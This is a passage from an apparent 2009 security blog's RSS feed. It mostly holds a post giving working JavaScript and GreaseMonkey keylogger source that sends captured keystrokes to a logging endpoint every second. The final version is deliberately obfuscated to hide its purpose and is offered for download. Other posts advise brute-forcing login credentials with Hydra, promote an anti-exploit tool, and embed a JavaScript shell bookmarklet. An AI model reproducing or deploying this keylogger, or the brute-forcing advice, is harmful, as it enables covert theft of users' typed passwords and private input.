SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle.</p>
<p>This is just a small list, for more check out the <a href="http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners">top 15 sql injection scanners</a> back at <a href="http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners">security-hacks</a>.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>Bruteforce?</h2>
<p>If you can&#8217;t SQL Inject a website, you can bruteforce the login credentials (if external access is allowed). Just download <a href="http://www.foofus.net/jmk/medusa/medusa.html">medusa</a>/<a href="http://freeworld.thc.org/thc-hydra/">hydra</a> (I prefer Hydra, due to Windows support :) generate a custom wordlist for your scenario (<a href="http://insanesecurity.info/2009/01/password-insecurity-wordlists-dictionaries/">resource on wordlists and common passwords</a>), and hit enter.</p>
<p>I know I&#8217;ve gone a bit off topic with the bruteforcing section, but I guess it didn&#8217;t hurt nobody a little more info.</p>
<h2>AND 1=0</h2>
<p>Have any suggestion? Feel free to contribute with comments/articles/cheat sheets, or any other resource which would improve this article.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/sql-injection-junkie/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript/Userscript Keylogger</title>
		<link>http://insanesecurity.info/blog/javascriptuserscript-keylogger</link>
		<comments>http://insanesecurity.info/blog/javascriptuserscript-keylogger#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:37:42 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Userscript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=63</guid>
		<description><![CDATA[Some days ago while I was writing the (traffic magnet) article HYGHAAZG and mentioned the keylogger, instantly it came to mind a userscript one. Googled a bit, but didn&#8217;t seem to find any (quite amazed)&#8230; Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was [...]]]></description>
			<content:encoded><![CDATA[<p>Some days ago while I was writing the (traffic magnet) article <del><a href="http://insanesecurity.info/2009/01/hacking-yahoogmailhotmail-accounts-a-z-guide/">HYGHAAZG</a></del> and mentioned the keylogger, instantly it came to mind a userscript one. Googled a bit, but didn&#8217;t seem to find any (quite amazed)&#8230;</p>
<p><span id="more-63"></span></p>
<p>
Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was specially thought for a post). First of all this was the starting point of it, a.k.a. typical javascript keylogger:</p>
<pre>
var keys='';
document.onkeypress = function(e) {
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode;
	key = String.fromCharCode(key);
	keys+=key;
}
window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+keys;
	keys = '';
}, 1000);
</pre>
<p>As you can see from the code a javascript keylogger is quite simple. Attach a function to the key pressing event, extract the character (the code of it) in the event and save it into a variable. Also declare a function (within an interval) that will send the logged keys to the backend which will save it into file/database.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script></p>
<p><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>As malefic as it seems you should be real lucky to succeed in using it as a relevant keylogger. It would be a good module in an XSS worm.  Wanting more from a keylogger, I moved onward to GreaseMonkey which allows me to have a functional keylogger on every website I wish. Most of it it&#8217;s the same, difference is that I used <a href="http://diveintogreasemonkey.org/api/gm_setvalue.html">GM_setValue</a>/<a href="http://diveintogreasemonkey.org/api/gm_getvalue.html">GM_getValue</a> for storing the keys and had to use <a href="http://wiki.greasespot.net/UnsafeWindow">unsafeWindow</a> for accesing the key pressing event.</p>
<pre>
GM_setValue('keys', '');
unsafeWindow.onkeypress = function(e) {
	eventobj = window.event?event:e;
	key = eventobj.keyCode?eventobj.keyCode:eventobj.charCode;
	keys = GM_getValue('keys');
	keys+= String.fromCharCode(key);
	GM_setValue('keys', keys);
}

window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+GM_getValue('keys');
	GM_setValue('keys', '');
}, 1000);
</pre>
<p><del><a href="http://insanesecurity.info/projects/keylogger/junkylogger.user.js">download/install/view</a></del></p>
<p>The next step was to give it a more obfuscated look, just to give a harder life to all those who understand Javascript to the minimum and take a look at the source of the script.</p>
<pre>
window.wrap = window;
wrap.strf = String.fromCharCode;
wrap.wind = strf(117,110,115,97,102,101,87,105,110,100,111,119);
wrap.ev   = strf(111, 110, 107, 101, 121, 112, 114, 101, 115, 115);
GM_setValue('q','');
Function('func', wind+"."+ev+" = func")(function(e) {
	e=window.event?window.event:e;
	k=e.charCode?e.charCode:e.keyCode;
	k=GM_getValue('q')+strf(k);
	GM_setValue('q', k);
});
wrap.loc = strf(104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104);
wrap.loc+= strf(111, 115, 116, 47, 106, 117, 110, 107, 121, 108, 111, 103, 103, 101);
wrap.loc+= strf(114, 46, 112, 104, 112, 63, 107, 101, 121, 115, 61);
window.setInterval(function(){new Image().src=wrap.loc+GM_getValue('q');GM_setValue('q','')},1000);
</pre>
<p><del><a href="http://insanesecurity.info/projects/keylogger/junkylogger-final.user.js">download/install/view</a></del></p>
<p>No, by downloading this you won&#8217;t have all your keystrokes logged (unless someone hacked the server and replaced it) because for testing I&#8217;ve used a php file on my localhost for logging, and that remained in the examples also.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>If you are new at Javascript/Userscripts the following links may be helpful to you: <a href="http://diveintogreasemonkey.org/">Dive Into GreaseMonkey</a>, <a href="http://wiki.greasespot.net/Main_Page">GreaseSpot</a> and <a href="http://www.free-itebooks.com/free-ebooks-javascript/">Javascript eBooks</a>. And yes Userscripts are also available for IE/Opera&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/javascriptuserscript-keylogger/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Exploit Shield</title>
		<link>http://insanesecurity.info/blog/exploit-shield</link>
		<comments>http://insanesecurity.info/blog/exploit-shield#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:35:20 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[AV]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[Malware]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/exploit-shield</guid>
		<description><![CDATA[An exploit (from the same word in the French language, meaning &#8220;achievement&#8221;, or &#8220;accomplishment&#8221;) is a piece of software, a chunk of data, or sequence of commands that take advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerized). [...]]]></description>
			<content:encoded><![CDATA[<p>An exploit (from the same word in the French language, meaning &#8220;achievement&#8221;, or &#8220;accomplishment&#8221;) is a piece of software, a chunk of data, or sequence of commands that take advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerized). This frequently includes such things as violently gaining control of a computer system or allowing privilege escalation or a denial of service attack. (<a href="http://en.wikipedia.org/wiki/Exploit_(computer_security)">Wikipedia</a>)</p>
<p><span id="more-62"></span></p>
<p>
Eleven days ago Microsoft did a disclosure on the <a href="http://www.microsoft.com/technet/security/Bulletin/MS09-002.mspx">MS09-002</a>. Seven days later we already had a <a href="http://isc.sans.org/diary.html?storyid=5884">proof of concept</a> that was used in the wild, and today having even the <a href="http://thewifihack.com/blog/?p=343">Metasploit exploit</a>.</p>
<p>Eleven days have passed, did you patch the vulnerability? Most of the users will not have it patched too soon, even if it comes with the automatic updates. Many just simply have automatic updates turned off. Even so, there are some patches which take a long time to be released, for example the <a href="http://www.microsoft.com/technet/security/bulletin/ms08-078.mspx">MS08-078</a> patch did take a while to be released.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script></p>
<p><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>And here comes in <a href="http://www.f-secure.com/weblog/archives/00001607.html">Exploit Shield</a> an application which will protect your from browser based exploits (either IE or Firefox), but don&#8217;t over trust it, as soon as a patch comes out you should fix the vulnerability.</p>
<blockquote><p>Exploit Shield is designed to shield Web browsers between the development of an exploit and the release of the vendor&#8217;s patch.</p>
</blockquote>
<p>Exploit Shield posses the following functionality: Zero Day Defense, Patch-Equivalent Protection, Proactive Measures, Protects Against All Websites and Automatic Feedback.</p>
<p>But does it work? Of course it does, check out the <a href="http://www.f-secure.com/weblog/archives/00001608.html">detection of a MS09-002 based exploit</a> which was catched by the heuristics incorporated in the software.</p>
<p>It&#8217;s also a program that would be useful when researching/coding such exploits, although the automatic submission should be disabled in that case (*grin*).</p>
<p>If you haven&#8217;t got it yet, you can download it from <a href="http://support.f-secure.com/beta/estp/estp.shtml">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/exploit-shield/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bookmarklets</title>
		<link>http://insanesecurity.info/blog/bookmarklets</link>
		<comments>http://insanesecurity.info/blog/bookmarklets#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:33:59 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=41</guid>
		<description><![CDATA[A bookmarklet is an applet, a small computer application, stored as the URL of a bookmark in a web browser or as a hyperlink on a web page. The term is a portmanteau of the terms bookmark and applet. Whether bookmarklet utilities are stored as bookmarks or hyperlinks, they are designed to add one-click functionality [...]]]></description>
			<content:encoded><![CDATA[<p>A bookmarklet is an applet, a small computer application, stored as the URL of a bookmark in a web browser or as a hyperlink on a web page. The term is a portmanteau of the terms bookmark and applet. Whether bookmarklet utilities are stored as bookmarks or hyperlinks, they are designed to add one-click functionality to a browser or web page. When clicked, a bookmarklet performs some function, one of a wide variety such as a search query or data extraction. Usually the applet is a JavaScript program. (<a href="http://en.wikipedia.org/wiki/Bookmarklets">Wikipedia</a>)</p>
<p><span id="more-41"></span><br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>Over the pass time I have collected a bunch of interesting bookmarklets, from which a couple are security oriented, more or less, and which I&#8217;d like to share with you.</p>
<p><a href="javascript:with(window.open(&quot;&quot;,&quot;_blank&quot;,&quot;width=&quot;+screen.width*.6+&quot;,left=&quot;+screen.width*.35+&quot;,height=&quot;+screen.height*.9+&quot;,resizable,scrollbars=yes&quot;)){document.write(&quot;&lt;!DOCTYPE HTML PUBLIC \&quot;-//W3C//DTD HTML 4.01//EN\&quot; \&quot;http://www.w3.org/TR/html4/strict.dtd\&quot;&gt;\n\n&lt;html onclick=\&quot;keepFocusInTextbox(event)\&quot;&gt;\n&lt;head&gt;\n&lt;meta http-equiv=\&quot;Content-Type\&quot; content=\&quot;text/html; charset=iso-8859-1\&quot;&gt;\n&lt;title&gt;JavaScript Shell 1.4&lt;/title&gt;\n\n&lt;script type=\&quot;text/javascript\&quot;&gt;\nvar \nhistList = [\&quot;\&quot;], \nhistPos = 0, \n_scope = {}, \n_win, // a top-level context\nquestion,\n_in,\n_out,\ntooManyMatches = null,\nlastError = null;\n\nfunction refocus()\n{\n  _in.blur(); // Needed for Mozilla to scroll correctly.\n  _in.focus();\n}\n\nfunction init()\n{\n  _in = document.getElementById(\&quot;input\&quot;);\n  _out = document.getElementById(\&quot;output\&quot;);\n\n  _win = window;\n\n  if (opener &amp;&amp; !opener.closed)\n  {\n    println(\&quot;Using bookmarklet version of shell: commands will run in opener's context.\&quot;, \&quot;message\&quot;);\n    _win = opener;\n  }\n\n  initTarget();\n\n  recalculateInputHeight();\n  refocus();\n}\n\nfunction initTarget()\n{\n  _win.Shell = window;\n  _win.print = shellCommands.print;\n}\n\n\n// Unless the user is selected something, refocus the textbox.\n// (requested by caillon, brendan, asa)\nfunction keepFocusInTextbox(e) \n{\n  var g = e.srcElement ? e.srcElement : e.target; // IE vs. standard\n  \n  while (!g.tagName)\n    g = g.parentNode;\n  var t = g.tagName.toUpperCase();\n  if (t==\&quot;A\&quot; || t==\&quot;INPUT\&quot;)\n    return;\n    \n  if (window.getSelection) {\n    // Mozilla\n    if (String(window.getSelection()))\n      return;\n  }\n  else if (document.getSelection) {\n    // Opera? Netscape 4?\n    if (document.getSelection())\n      return;\n  }\n  else {\n    // IE\n    if ( document.selection.createRange().text )\n      return;\n  }\n  \n  refocus();\n}\n\nfunction inputKeydown(e) {\n  // Use onkeydown because IE doesn't support onkeypress for arrow keys\n\n  //alert(e.keyCode + \&quot; ^ \&quot; + e.keycode);\n\n  if (e.shiftKey &amp;&amp; e.keyCode == 13) { // shift-enter\n    // don't do anything; allow the shift-enter to insert a line break as normal\n  } else if (e.keyCode == 13) { // enter\n    // execute the input on enter\n    try { go(); } catch(er) { alert(er); };\n    setTimeout(function() { _in.value = \&quot;\&quot;; }, 0); // can't preventDefault on input, so clear it later\n  } else if (e.keyCode == 38) { // up\n    // go up in history if at top or ctrl-up\n    if (e.ctrlKey || caretInFirstLine(_in))\n      hist(true);\n  } else if (e.keyCode == 40) { // down\n    // go down in history if at end or ctrl-down\n    if (e.ctrlKey || caretInLastLine(_in))\n      hist(false);\n  } else if (e.keyCode == 9) { // tab\n    tabcomplete();\n    setTimeout(function() { refocus(); }, 0); // refocus because tab was hit\n  } else { }\n\n  setTimeout(recalculateInputHeight, 0);\n  \n  //return true;\n};\n\nfunction caretInFirstLine(textbox)\n{\n  // IE doesn't support selectionStart/selectionEnd\n  if (textbox.selectionStart == undefined)\n    return true;\n\n  var firstLineBreak = textbox.value.indexOf(\&quot;\\n\&quot;);\n  \n  return ((firstLineBreak == -1) || (textbox.selectionStart &lt;= firstLineBreak));\n}\n\nfunction caretInLastLine(textbox)\n{\n  // IE doesn't support selectionStart/selectionEnd\n  if (textbox.selectionEnd == undefined)\n    return true;\n\n  var lastLineBreak = textbox.value.lastIndexOf(\&quot;\\n\&quot;);\n  \n  return (textbox.selectionEnd &gt; lastLineBreak);\n}\n\nfunction recalculateInputHeight()\n{\n  var rows = _in.value.split(/\\n/).length\n    + 1 // prevent scrollbar flickering in Mozilla\n    + (window.opera ? 1 : 0); // leave room for scrollbar in Opera\n  \n  if (_in.rows != rows) // without this check, it is impossible to select text in Opera 7.60 or Opera 8.0.\n    _in.rows = rows;\n}\n\nfunction println(s, type)\n{\n  if((s=String(s)))\n  {\n    var newdiv = document.createElement(\&quot;div\&quot;);\n    newdiv.appendChild(document.createTextNode(s));\n    newdiv.className = type;\n    _out.appendChild(newdiv);\n    return newdiv;\n  }\n}\n\nfunction printWithRunin(h, s, type)\n{\n  var div = println(s, type);\n  var head = document.createElement(\&quot;strong\&quot;);\n  head.appendChild(document.createTextNode(h + \&quot;: \&quot;));\n  div.insertBefore(head, div.firstChild);\n}\n\n\nvar shellCommands = \n{\nload : function load(url)\n{\n  var s = _win.document.createElement(\&quot;script\&quot;);\n  s.type = \&quot;text/javascript\&quot;;\n  s.src = url;\n  _win.document.getElementsByTagName(\&quot;head\&quot;)[0].appendChild(s);\n  println(\&quot;Loading \&quot; + url + \&quot;...\&quot;, \&quot;message\&quot;);\n},\n\nclear : function clear()\n{\n  var CHILDREN_TO_PRESERVE = 3;\n  while (_out.childNodes[CHILDREN_TO_PRESERVE]) \n    _out.removeChild(_out.childNodes[CHILDREN_TO_PRESERVE]);\n},\n\nprint : function print(s) { println(s, \&quot;print\&quot;); },\n\n// the normal function, \&quot;print\&quot;, shouldn't return a value\n// (suggested by brendan; later noticed it was a problem when showing others)\npr : function pr(s) \n{ \n  shellCommands.print(s); // need to specify shellCommands so it doesn't try window.print()!\n  return s;\n},\n\nprops : function props(e, onePerLine)\n{\n  if (e === null) {\n    println(\&quot;props called with null argument\&quot;, \&quot;error\&quot;);\n    return;\n  }\n\n  if (e === undefined) {\n    println(\&quot;props called with undefined argument\&quot;, \&quot;error\&quot;);\n    return;\n  }\n\n  var ns = [\&quot;Methods\&quot;, \&quot;Fields\&quot;, \&quot;Unreachables\&quot;];\n  var as = [[], [], []]; // array of (empty) arrays of arrays!\n  var p, j, i; // loop variables, several used multiple times\n\n  var protoLevels = 0;\n\n  for (p = e; p; p = p.__proto__)\n  {\n    for (i=0; i&lt;ns.length; ++i)\n      as[i][protoLevels] = [];\n    ++protoLevels;\n  }\n\n  for(var a in e)\n  {\n    // Shortcoming: doesn't check that VALUES are the same in object and prototype.\n\n    var protoLevel = -1;\n    try\n    {\n      for (p = e; p &amp;&amp; (a in p); p = p.__proto__)\n        ++protoLevel;\n    }\n    catch(er) { protoLevel = 0; } // \&quot;in\&quot; operator throws when param to props() is a string\n\n    var type = 1;\n    try\n    {\n      if ((typeof e[a]) == \&quot;function\&quot;)\n        type = 0;\n    }\n    catch (er) { type = 2; }\n\n    as[type][protoLevel].push(a);\n  }\n\n  function times(s, n) { return n ? s + times(s, n-1) : \&quot;\&quot;; }\n\n  for (j=0; j&lt;protoLevels; ++j)\n    for (i=0;i&lt;ns.length;++i)\n      if (as[i][j].length) \n        printWithRunin(\n          ns[i] + times(\&quot; of prototype\&quot;, j), \n          (onePerLine ? \&quot;\\n\\n\&quot; : \&quot;\&quot;) + as[i][j].sort().join(onePerLine ? \&quot;\\n\&quot; : \&quot;, \&quot;) + (onePerLine ? \&quot;\\n\\n\&quot; : \&quot;\&quot;), \n          \&quot;propList\&quot;\n        );\n},\n\nblink : function blink(node)\n{\n  if (!node)                     throw(\&quot;blink: argument is null or undefined.\&quot;);\n  if (node.nodeType == null)     throw(\&quot;blink: argument must be a node.\&quot;);\n  if (node.nodeType == 3)        throw(\&quot;blink: argument must not be a text node\&quot;);\n  if (node.documentElement)      throw(\&quot;blink: argument must not be the document object\&quot;);\n\n  function setOutline(o) { \n    return function() {\n      if (node.style.outline != node.style.bogusProperty) {\n        // browser supports outline (Firefox 1.1 and newer, CSS3, Opera 8).\n        node.style.outline = o;\n      }\n      else if (node.style.MozOutline != node.style.bogusProperty) {\n        // browser supports MozOutline (Firefox 1.0.x and older)\n        node.style.MozOutline = o;\n      }\n      else {\n        // browser only supports border (IE). border is a fallback because it moves things around.\n        node.style.border = o;\n      }\n    }\n  } \n  \n  function focusIt(a) {\n    return function() {\n      a.focus(); \n    }\n  }\n\n  if (node.ownerDocument) {\n    var windowToFocusNow = (node.ownerDocument.defaultView || node.ownerDocument.parentWindow); // Moz vs. IE\n    if (windowToFocusNow)\n      setTimeout(focusIt(windowToFocusNow.top), 0);\n  }\n\n  for(var i=1;i&lt;7;++i)\n    setTimeout(setOutline((i%252)?'3px solid red':'none'), i*100);\n\n  setTimeout(focusIt(window), 800);\n  setTimeout(focusIt(_in), 810);\n},\n\nscope : function scope(sc)\n{\n  if (!sc) sc = {};\n  _scope = sc;\n  println(\&quot;Scope is now \&quot; + sc + \&quot;.  If a variable is not found in this scope, window will also be searched.  New variables will still go on window.\&quot;, \&quot;message\&quot;);\n},\n\nmathHelp : function mathHelp()\n{\n  printWithRunin(\&quot;Math constants\&quot;, \&quot;E, LN2, LN10, LOG2E, LOG10E, PI, SQRT1_2, SQRT2\&quot;, \&quot;propList\&quot;);\n  printWithRunin(\&quot;Math methods\&quot;, \&quot;abs, acos, asin, atan, atan2, ceil, cos, exp, floor, log, max, min, pow, random, round, sin, sqrt, tan\&quot;, \&quot;propList\&quot;);\n},\n\nans : undefined\n};\n\n\nfunction hist(up)\n{\n  // histList[0] = first command entered, [1] = second, etc.\n  // type something, press up --&gt; thing typed is now in \&quot;limbo\&quot;\n  // (last item in histList) and should be reachable by pressing \n  // down again.\n\n  var L = histList.length;\n\n  if (L == 1)\n    return;\n\n  if (up)\n  {\n    if (histPos == L-1)\n    {\n      // Save this entry in case the user hits the down key.\n      histList[histPos] = _in.value;\n    }\n\n    if (histPos &gt; 0)\n    {\n      histPos--;\n      // Use a timeout to prevent up from moving cursor within new text\n      // Set to nothing first for the same reason\n      setTimeout(\n        function() {\n          _in.value = ''; \n          _in.value = histList[histPos];\n          var caretPos = _in.value.length;\n          if (_in.setSelectionRange) \n            _in.setSelectionRange(caretPos, caretPos);\n        },\n        0\n      );\n    }\n  } \n  else // down\n  {\n    if (histPos &lt; L-1)\n    {\n      histPos++;\n      _in.value = histList[histPos];\n    }\n    else if (histPos == L-1)\n    {\n      // Already on the current entry: clear but save\n      if (_in.value)\n      {\n        histList[histPos] = _in.value;\n        ++histPos;\n        _in.value = \&quot;\&quot;;\n      }\n    }\n  }\n}\n\nfunction tabcomplete()\n{\n  /*\n   * Working backwards from s[from], find the spot\n   * where this expression starts.  It will scan\n   * until it hits a mismatched ( or a space,\n   * but it skips over quoted strings.\n   * If stopAtDot is true, stop at a '.'\n   */\n  function findbeginning(s, from, stopAtDot)\n  {\n    /*\n     *  Complicated function.\n     *\n     *  Return true if s[i] == q BUT ONLY IF\n     *  s[i-1] is not a backslash.\n     */\n    function equalButNotEscaped(s,i,q)\n    {\n      if(s.charAt(i) != q) // not equal go no further\n        return false;\n\n      if(i==0) // beginning of string\n        return true;\n\n      if(s.charAt(i-1) == '\\\\') // escaped?\n        return false;\n\n      return true;\n    }\n\n    var nparens = 0;\n    var i;\n    for(i=from; i&gt;=0; i--)\n    {\n      if(s.charAt(i) == ' ')\n        break;\n\n      if(stopAtDot &amp;&amp; s.charAt(i) == '.')\n        break;\n        \n      if(s.charAt(i) == ')')\n        nparens++;\n      else if(s.charAt(i) == '(')\n        nparens--;\n\n      if(nparens &lt; 0)\n        break;\n\n      // skip quoted strings\n      if(s.charAt(i) == '\\'' || s.charAt(i) == '\\\&quot;')\n      {\n        //dump(\&quot;skipping quoted chars: \&quot;);\n        var quot = s.charAt(i);\n        i--;\n        while(i &gt;= 0 &amp;&amp; !equalButNotEscaped(s,i,quot)) {\n          //dump(s.charAt(i));\n          i--;\n        }\n        //dump(\&quot;\\n\&quot;);\n      }\n    }\n    return i;\n  }\n\n  // XXX should be used more consistently (instead of using selectionStart/selectionEnd throughout code)\n  // XXX doesn't work in IE, even though it contains IE-specific code\n  function getcaretpos(inp)\n  {\n    if(inp.selectionEnd != null)\n      return inp.selectionEnd;\n      \n    if(inp.createTextRange)\n    {\n      var docrange = _win.Shell.document.selection.createRange();\n      var inprange = inp.createTextRange();\n      if (inprange.setEndPoint)\n      {\n        inprange.setEndPoint('EndToStart', docrange);\n        return inprange.text.length;\n      }\n    }\n\n    return inp.value.length; // sucks, punt\n  }\n\n  function setselectionto(inp,pos)\n  {\n    if(inp.selectionStart) {\n      inp.selectionStart = inp.selectionEnd = pos;\n    }\n    else if(inp.createTextRange) {\n      var docrange = _win.Shell.document.selection.createRange();\n      var inprange = inp.createTextRange();\n      inprange.move('character',pos);\n      inprange.select();\n    }\n    else { // err...\n    /*\n      inp.select();\n      if(_win.Shell.document.getSelection())\n        _win.Shell.document.getSelection() = \&quot;\&quot;;\n        */\n    }\n  }\n    // get position of cursor within the input box\n    var caret = getcaretpos(_in);\n\n    if(caret) {\n      //dump(\&quot;----\\n\&quot;);\n      var dotpos, spacepos, complete, obj;\n      //dump(\&quot;caret pos: \&quot; + caret + \&quot;\\n\&quot;);\n      // see if there's a dot before here\n      dotpos = findbeginning(_in.value, caret-1, true);\n      //dump(\&quot;dot pos: \&quot; + dotpos + \&quot;\\n\&quot;);\n      if(dotpos == -1 || _in.value.charAt(dotpos) != '.') {\n        dotpos = caret;\n//dump(\&quot;changed dot pos: \&quot; + dotpos + \&quot;\\n\&quot;);\n      }\n\n      // look backwards for a non-variable-name character\n      spacepos = findbeginning(_in.value, dotpos-1, false);\n      //dump(\&quot;space pos: \&quot; + spacepos + \&quot;\\n\&quot;);\n      // get the object we're trying to complete on\n      if(spacepos == dotpos || spacepos+1 == dotpos || dotpos == caret)\n      {\n        // try completing function args\n        if(_in.value.charAt(dotpos) == '(' ||\n (_in.value.charAt(spacepos) == '(' &amp;&amp; (spacepos+1) == dotpos))\n        {\n          var fn,fname;\n  var from = (_in.value.charAt(dotpos) == '(') ? dotpos : spacepos;\n          spacepos = findbeginning(_in.value, from-1, false);\n\n          fname = _in.value.substr(spacepos+1,from-(spacepos+1));\n  //dump(\&quot;fname: \&quot; + fname + \&quot;\\n\&quot;);\n          try {\n            with(_win.Shell._scope)\n              with(_win)\n                with(Shell.shellCommands)\n                  fn = eval(fname);\n          }\n          catch(er) {\n            //dump('fn is not a valid object\\n');\n            return;\n          }\n          if(fn == undefined) {\n             //dump('fn is undefined');\n             return;\n          }\n          if(fn instanceof Function)\n          {\n            // Print function definition, including argument names, but not function body\n            if(!fn.toString().match(/function .+?\\(\\) +\\{\\n +\\[native code\\]\\n\\}/))\n              println(fn.toString().match(/function .+?\\(.*?\\)/), \&quot;tabcomplete\&quot;);\n          }\n\n          return;\n        }\n        else\n          obj = _win;\n      }\n      else\n      {\n        var objname = _in.value.substr(spacepos+1,dotpos-(spacepos+1));\n        //dump(\&quot;objname: |\&quot; + objname + \&quot;|\\n\&quot;);\n        try {\n          with(_win.Shell._scope)\n            with(_win)\n                obj = eval(objname);\n        }\n        catch(er) {\n          printError(er); \n          return;\n        }\n        if(obj == undefined) {\n          // sometimes this is tabcomplete's fault, so don't print it :(\n          // e.g. completing from \&quot;print(document.getElements\&quot;\n          // println(\&quot;Can't complete from null or undefined expression \&quot; + objname, \&quot;error\&quot;);\n          return;\n        }\n      }\n      //dump(\&quot;obj: \&quot; + obj + \&quot;\\n\&quot;);\n      // get the thing we're trying to complete\n      if(dotpos == caret)\n      {\n        if(spacepos+1 == dotpos || spacepos == dotpos)\n        {\n          // nothing to complete\n          //dump(\&quot;nothing to complete\\n\&quot;);\n          return;\n        }\n\n        complete = _in.value.substr(spacepos+1,dotpos-(spacepos+1));\n      }\n      else {\n        complete = _in.value.substr(dotpos+1,caret-(dotpos+1));\n      }\n      //dump(\&quot;complete: \&quot; + complete + \&quot;\\n\&quot;);\n      // ok, now look at all the props/methods of this obj\n      // and find ones starting with 'complete'\n      var matches = [];\n      var bestmatch = null;\n      for(var a in obj)\n      {\n        //a = a.toString();\n        //XXX: making it lowercase could help some cases,\n        // but screws up my general logic.\n        if(a.substr(0,complete.length) == complete) {\n          matches.push(a);\n          ////dump(\&quot;match: \&quot; + a + \&quot;\\n\&quot;);\n          // if no best match, this is the best match\n          if(bestmatch == null)\n          {\n            bestmatch = a;\n          }\n          else {\n            // the best match is the longest common string\n            function min(a,b){ return ((a&lt;b)?a:b); }\n            var i;\n            for(i=0; i&lt; min(bestmatch.length, a.length); i++)\n            {\n              if(bestmatch.charAt(i) != a.charAt(i))\n                break;\n            }\n            bestmatch = bestmatch.substr(0,i);\n            ////dump(\&quot;bestmatch len: \&quot; + i + \&quot;\\n\&quot;);\n          }\n          ////dump(\&quot;bestmatch: \&quot; + bestmatch + \&quot;\\n\&quot;);\n        }\n      }\n      bestmatch = (bestmatch || \&quot;\&quot;);\n      ////dump(\&quot;matches: \&quot; + matches + \&quot;\\n\&quot;);\n      var objAndComplete = (objname || obj) + \&quot;.\&quot; + bestmatch;\n      //dump(\&quot;matches.length: \&quot; + matches.length + \&quot;, tooManyMatches: \&quot; + tooManyMatches + \&quot;, objAndComplete: \&quot; + objAndComplete + \&quot;\\n\&quot;);\n      if(matches.length &gt; 1 &amp;&amp; (tooManyMatches == objAndComplete || matches.length &lt;= 10)) {\n\n        printWithRunin(\&quot;Matches: \&quot;, matches.join(', '), \&quot;tabcomplete\&quot;);\n        tooManyMatches = null;\n      }\n      else if(matches.length &gt; 10)\n      {\n        println(matches.length + \&quot; matches.  Press tab again to see them all\&quot;, \&quot;tabcomplete\&quot;);\n        tooManyMatches = objAndComplete;\n      }\n      else {\n        tooManyMatches = null;\n      }\n      if(bestmatch != \&quot;\&quot;)\n      {\n        var sstart;\n        if(dotpos == caret) {\n          sstart = spacepos+1;\n        }\n        else {\n          sstart = dotpos+1;\n        }\n        _in.value = _in.value.substr(0, sstart)\n                  + bestmatch\n                  + _in.value.substr(caret);\n        setselectionto(_in,caret + (bestmatch.length - complete.length));\n      }\n    }\n}\n\nfunction printQuestion(q)\n{\n  println(q, \&quot;input\&quot;);\n}\n\nfunction printAnswer(a)\n{\n  if (a !== undefined) {\n    println(a, \&quot;normalOutput\&quot;);\n    shellCommands.ans = a;\n  }\n}\n\nfunction printError(er)\n{ \n  var lineNumberString;\n\n  lastError = er; // for debugging the shell\n  if (er.name)\n  {\n    // lineNumberString should not be \&quot;\&quot;, to avoid a very wacky bug in IE 6.\n    lineNumberString = (er.lineNumber != undefined) ? 